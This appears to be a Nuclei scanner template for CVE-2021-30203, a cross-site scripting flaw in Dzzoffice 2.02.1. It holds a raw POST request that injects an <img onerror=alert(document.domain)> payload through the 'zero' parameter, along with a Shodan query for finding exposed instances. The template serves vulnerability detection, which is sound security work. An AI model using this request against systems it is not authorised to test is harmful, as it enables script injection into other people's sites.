CVE-2021-30203: Dzzoffice 2.02.1 - Cross-Site Scripting

id: CVE-2021-30203

info:
  name: Dzzoffice 2.02.1 - Cross-Site Scripting
  author: arafatansari
  severity: high
  description: |
    Dzzoffice 2.02.1_SC_UTF8 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML via the zero parameter.
  reference:
    - https://github.com/zyx0814/dzzoffice/issues/183
    - https://nvd.nist.gov/vuln/detail/CVE-2021-30203
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2021-30203
    epss-score: 0.01296
    epss-percentile: 0.79065
    cwe-id: CWE-79
    cpe: cpe:2.3:a:dzzoffice:dzzoffice:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"dzzoffice"
    product: dzzoffice
    vendor: dzzoffice
  tags: cve,cve2021,dzzoffice,xss,vuln

http:
  - raw:
      - |
        POST /index.php?mod=system&op=orgtree&do=orgtree HTTP/1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        id=%23&nouser=0&moderator=0&zero=<img+src=x+onerror=alert(document.domain)>&stype=0&range=0&showjob=0

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"text":"<img src=x onerror=alert(document.domain)>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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